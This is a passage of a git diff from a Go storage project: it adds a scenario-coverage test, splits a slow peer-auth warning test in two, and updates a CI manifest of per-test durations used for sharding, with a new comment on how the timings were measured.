unless the parts +// above name every createbatchequiv.Run scenario exactly once, so a scenario +// added there cannot silently stop running on this backend. +func TestCreateBatchEquivalencePartsCoverEveryScenario(t *testing.T) { + var got []string + for _, part := range createBatchEquivalenceParts { + got = append(got, part...) + } + want := createbatchequiv.ScenarioNames() + slices.Sort(got) + slices.Sort(want) + if !slices.Equal(got, want) { + t.Errorf("createBatchEquivalenceParts cover %v, want each of %v exactly once", got, want) + } } // TestCreateBatchFastPathsMatchPerRowLarge_Embedded runs the 458-issue diff --git a/internal/storage/embeddeddolt/federation_credentials_test.go b/internal/storage/embeddeddolt/federation_credentials_test.go index 27d68cc02..1bbd3300b 100644 --- a/internal/storage/embeddeddolt/federation_credentials_test.go +++ b/internal/storage/embeddeddolt/federation_credentials_test.go @@ -154,7 +154,18 @@ func TestWithPeerAuth(t *testing.T) { } } -func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T) { +// The suppressed-ambient-password cases run as two top-level tests, the +// first four cases and the rest: each case opens its own store (~11s under +// -race), so the eight took ~80s as one test. +func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordStored(t *testing.T) { + testWithPeerAuthWarnsWhenStoredPeerSuppressesAmbientPassword(t, func(i int) bool { return i < 4 }) +} + +func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordAmbient(t *testing.T) { + testWithPeerAuthWarnsWhenStoredPeerSuppressesAmbientPassword(t, func(i int) bool { return i >= 4 }) +} + +func testWithPeerAuthWarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T, pick func(i int) bool) { // Pinned verbatim, not matched by substring: the peer name, the username, // the stored tier, and the Warning: prefix are the parts an operator // reads, so a wording change has to be made here deliberately. @@ -252,7 +263,10 @@ func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T) }, } - for _, tc := range cases { + for i, tc := range cases { + if !pick(i) { + continue + } t.Run(tc.name, func(t *testing.T) { ctx := t.Context() diff --git a/scripts/ci/embedded_storage_test_durations.json b/scripts/ci/embedded_storage_test_durations.json index 7e3ae6350..631751ebe 100644 --- a/scripts/ci/embedded_storage_test_durations.json +++ b/scripts/ci/embedded_storage_test_durations.json @@ -1,21 +1,17 @@ { "_comment": [ "Measured on rbe-west, the lane's own remote executors (instance oss), on", - "2026-10-09: two `bazel test --config=embedded --nocache_test_results", - "//internal/storage/embeddeddolt:embeddeddolt_embedded_test` runs (race,", - "`-test.parallel=4`), one with the then-committed 15-shard manifest and one", - "with an 18-shard repack, so every one of the 395 top-level Test* functions", - "(excluding TestConformance, sharded separately, and TestMain) ran exactly", - "once per run. Each value is the mean of the two runs; the second ran under", - "heavier executor load and came out ~25% slower across the board, which is", - "the spread to expect between CI runs. Both runs were taken after", - "RunBatchGetterAcceptsExactlyTheCap started seeding its 1000 issues in one", - "CreateIssues call (TestBatchGetterContract: 198.87s -> ~7s on the same", - "executors). The previous capture was local sandboxed execution, and it", - "predated TestBatchGetterContract, so the packer weighted that test at its", - "t.Run fallback (~54s) and stacked a ~200s test onto an already full shard", - "(shard 9 of 15: 352s in CI). Remote shard wall time tracked the packed", - "cost to within 2% in both runs (correlation 0.999+).", + "2026-10-09: one `bazel test //... --config=embedded --nocache_test_results`", + "run (the whole embedded lane at once, as CI runs it: race,", + "`-test.parallel=4`), so every one of the top-level Test* functions", + "(excluding TestConformance, sharded separately) ran exactly once. Nearly", + "every function here is serial (no t.Parallel), so a shard's wall time is", + "the sum of its tests; CI shards ran ~1.3x (up to ~1.6x) these sums.", + "TestCreateBatchFastPathsMatchPerRow_Embedded (111s) and", + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword (81s) were", + "then split into two top-level tests each; their parts' values are the", + "measured subtest sums (createbatchequiv's scenarios) and half the measured", + "whole (the eight ~11s peer-auth cases split 4+4).", "", "Each value is that top-level test's own from Bazel's", "generated test.xml, NOT the enclosing , for the same", @@ -27,6 +23,8 @@ "capture to without re-verifying that relationship for the", "toolchain in use at the time.", "", + "Notes from earlier captures (their \"this capture\" is the earlier one):", + "", "One originally-measured top-level function,", "TestLargeBatchApplyStatementCounts_Embedded (350.25s: 81.03s + 260.70s +", "8.52s for its 356/712/classic-40 subtests), was subsequently split (same", @@ -84,398 +82,404 @@ "tests": { "TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase": 0.0, "TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase": 0.0, - "TestAddDependency": 24.83, - "TestAddLabel": 0.61, - "TestBatchApplyContract": 62.95, - "TestBatchCreatorContract": 17.7, - "TestBatchGetterContract": 6.37, - "TestBlockingAnnotatorContract": 10.55, - "TestBootstrapperContract": 2.03, + "TestAddDependency": 24.98, + "TestAddLabel": 0.6, + "TestBatchApplyContract": 69.1, + "TestBatchCreatorContract": 6.74, + "TestBatchGetterContract": 6.42, + "TestBlockingAnnotatorContract": 10.85, + "TestBootstrapperContract": 2.24, "TestBuildDSN_NoDatabase": 0.0, "TestBuildDSN_SpacesInPath": 0.0, "TestBuildDSN_WithDatabase": 0.0, "TestCleanGitRemoteCacheGarbage": 0.0, "TestCleanGitRemoteCacheGarbage_NoCacheDir": 0.0, "TestCleanGitRemoteCacheGarbage_Throttled": 0.0, - "TestCommenterContract": 4.51, - "TestCommitAllOutOfBandChangeAndHonestNoOp": 0.58, - "TestConcurrencyMultiProcess": 4.32, - "TestConcurrentOpenReturnsCached": 11.14, - "TestCounterContract": 21.42, - "TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra": 0.8, - "TestCountsIncludeWispDependencies": 1.12, - "TestCountsWithMissingWispPlaneTables": 1.93, + "TestCommenterContract": 4.86, + "TestCommitAllOutOfBandChangeAndHonestNoOp": 0.67, + "TestConcurrencyMultiProcess": 3.67, + "TestConcurrentOpenReturnsCached": 11.52, + "TestCounterContract": 17.83, + "TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra": 0.87, + "TestCountsIncludeWispDependencies": 1.06, + "TestCountsWithMissingWispPlaneTables": 2.65, + "TestCreateBatchEquivalencePartsCoverEveryScenario": 0.01, + "TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded": 51.46, "TestCreateBatchFastPathsMatchPerRowLarge_Embedded": 0.0, - "TestCreateBatchFastPathsMatchPerRow_Embedded": 89.57, - "TestCreateIssue": 21.51, - "TestCreateIssues": 16.54, - "TestCreateIssuesRejectStaleUpserts": 3.85, - "TestCreateRejectsCrossTableIDCollision": 1.54, + "TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded": 59.56, + "TestCreateIssue": 23.52, + "TestCreateIssues": 9.65, + "TestCreateIssuesRejectStaleUpserts": 4.25, + "TestCreateRejectsCrossTableIDCollision": 1.6, "TestCrossRecordInvariantContract": 0.0, - "TestCycleDetectorContract": 7.24, - "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 10.81, - "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 11.12, - "TestDeleterContract": 42.31, + "TestCycleDetectorContract": 7.58, + "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 11.45, + "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 11.11, + "TestDeleterContract": 45.61, "TestDepRekeyMarkerStillInIgnoredSeries": 0.0, - "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 1.83, + "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 3.02, "TestDoltCommitResponseLossIsIndeterminate": 0.0, "TestDualWriteContract": 1.46, "TestDualWriteContractFlagOff": 0.46, - "TestDualWriteFixtureKitIsWired": 0.21, - "TestEdgeReaderContract": 6.2, - "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 12.17, - "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 0.89, - "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 10.96, - "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 11.11, - "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 1.48, - "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 0.52, - "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 6.01, - "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 13.75, - "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 5.79, - "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 12.23, - "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 6.46, - "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 9.44, - "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.06, - "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 12.34, - "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 12.61, - "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 13.57, - "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 6.56, - "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 11.7, - "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 13.28, - "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 1.27, - "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.24, - "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 11.59, - "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 14.75, - "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 12.69, - "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 3.17, - "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 0.79, - "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.13, - "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 0.8, - "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 1.36, - "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 0.72, - "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 0.92, - "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.02, - "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 0.82, - "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 0.58, - "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 0.64, - "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.11, - "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 1.42, - "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 0.69, - "TestEmbeddedCommitToleratesNothingToCommit": 0.53, - "TestEmbeddedConfigCommitStagesConfig": 0.33, - "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 8.79, - "TestEmbeddedDepRekeyConvergesRenameChain": 8.79, - "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 15.36, - "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 7.66, - "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 8.19, - "TestEmbeddedDependencyEditorAcceptsADiamond": 3.03, - "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 0.6, - "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 1.26, - "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.59, - "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 2.3, - "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 1.9, - "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 1.85, - "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 2.17, - "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 1.82, - "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 4.26, - "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 1.91, - "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 4.53, - "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.35, - "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.11, - "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 0.69, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.0, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 2.4, - "TestEmbeddedDependencyEditorRefusalWritesNothing": 1.38, - "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 5.9, - "TestEmbeddedDependencyEditorRefusesAGhostSource": 0.66, - "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 1.15, - "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 2.52, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 2.06, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 1.78, - "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 0.98, - "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 0.49, - "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 2.53, - "TestEmbeddedDependencyEditorRemoveIsIdempotent": 2.13, - "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 4.83, - "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.19, - "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 1.57, - "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 0.92, - "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 0.78, - "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 1.61, - "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 1.23, - "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 1.36, - "TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion": 1.6, - "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 2.17, - "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 0.98, - "TestEmbeddedDependencyEditorSnapshotsTheRequest": 0.73, - "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 0.72, - "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 2.29, - "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 1.89, - "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 15.34, + "TestDualWriteFixtureKitIsWired": 0.27, + "TestEdgeReaderContract": 6.25, + "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 11.52, + "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 0.94, + "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 10.75, + "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 10.96, + "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 12.01, + "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 10.82, + "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 0.97, + "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 12.85, + "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 11.58, + "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 11.43, + "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 12.21, + "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 3.76, + "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.04, + "TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards": 3.1, + "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 11.59, + "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 12.02, + "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 13.52, + "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 1.54, + "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 10.84, + "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 7.47, + "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 11.6, + "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.58, + "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 13.14, + "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 12.78, + "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 13.15, + "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 3.2, + "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 12.81, + "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.2, + "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 10.87, + "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 1.41, + "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 0.74, + "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 0.95, + "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.08, + "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 0.94, + "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 0.62, + "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 0.67, + "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.52, + "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 19.05, + "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 12.47, + "TestEmbeddedCommitToleratesNothingToCommit": 0.64, + "TestEmbeddedConfigCommitStagesConfig": 0.32, + "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 10.62, + "TestEmbeddedDepRekeyConvergesRenameChain": 9.83, + "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 18.83, + "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 11.97, + "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 9.6, + "TestEmbeddedDependencyEditorAcceptsADiamond": 2.32, + "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 0.67, + "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 0.99, + "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.67, + "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 2.22, + "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 1.89, + "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 2.05, + "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 1.98, + "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 1.9, + "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 3.93, + "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 1.98, + "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 4.65, + "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.16, + "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.13, + "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 0.99, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.13, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 2.47, + "TestEmbeddedDependencyEditorRefusalWritesNothing": 1.43, + "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 9.78, + "TestEmbeddedDependencyEditorRefusesAGhostSource": 0.87, + "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 0.88, + "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 2.95, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 1.98, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 2.01, + "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 1.05, + "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 0.54, + "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 2.3, + "TestEmbeddedDependencyEditorRemoveIsIdempotent": 2.31, + "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 5.28, + "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.11, + "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 1.45, + "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 0.98, + "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 0.82, + "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 2.13, + "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 1.36, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 1.4, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion": 1.59, + "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 2.39, + "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 1.16, + "TestEmbeddedDependencyEditorSnapshotsTheRequest": 0.78, + "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 0.61, + "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 2.4, + "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 1.96, + "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 16.29, "TestEmbeddedDoltStoreIssueLifecycleBuildsOperations": 0.0, "TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore": 0.0, - "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 3.83, - "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.3, - "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 2.06, - "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 8.68, - "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 9.18, - "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 6.47, - "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 7.57, - "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 29.07, - "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 2.19, - "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.33, - "TestEmbeddedIssueOperationsCreateAggregatesRelations": 1.42, - "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 1.34, - "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 1.56, - "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 2.22, - "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 1.16, - "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 1.73, - "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 3.79, - "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 3.06, - "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 3.54, - "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 2.19, - "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 9.04, - "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 2.15, - "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 3.17, - "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 2.12, - "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 0.65, - "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 9.43, - "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 1.36, - "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.52, - "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 0.98, - "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 1.06, - "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 1.24, - "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 1.93, - "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.65, - "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 6.98, - "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 0.77, - "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 1.62, - "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.03, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 5.16, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 3.93, - "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.6, - "TestEmbeddedLenientOpenWarning_DataBehind": 55.67, - "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 10.91, - "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.45, - "TestEmbeddedMergeAndSettleFKCascadeRepair": 1.89, - "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.47, - "TestEmbeddedMergeAndSettleMetadataConflict": 0.45, - "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.8, - "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 0.69, - "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.49, - "TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers": 14.45, - "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 18.94, - "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 13.55, - "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 7.62, - "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 8.24, - "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 10.21, - "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 10.7, - "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 6.17, - "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 7.11, - "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 6.63, - "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 5.08, - "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 11.27, - "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 10.66, - "TestEmbeddedOpenForRemoteSync_DataBehind": 21.05, - "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 10.86, + "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 11.08, + "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.33, + "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 1.76, + "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 9.22, + "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 9.27, + "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 8.49, + "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 9.36, + "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 21.5, + "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 2.74, + "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.32, + "TestEmbeddedIssueOperationsCreateAggregatesRelations": 1.4, + "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 1.05, + "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 1.95, + "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 2.61, + "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 1.18, + "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 2.08, + "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 4.06, + "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 3.48, + "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 3.99, + "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 1.75, + "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 9.43, + "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 1.85, + "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 2.5, + 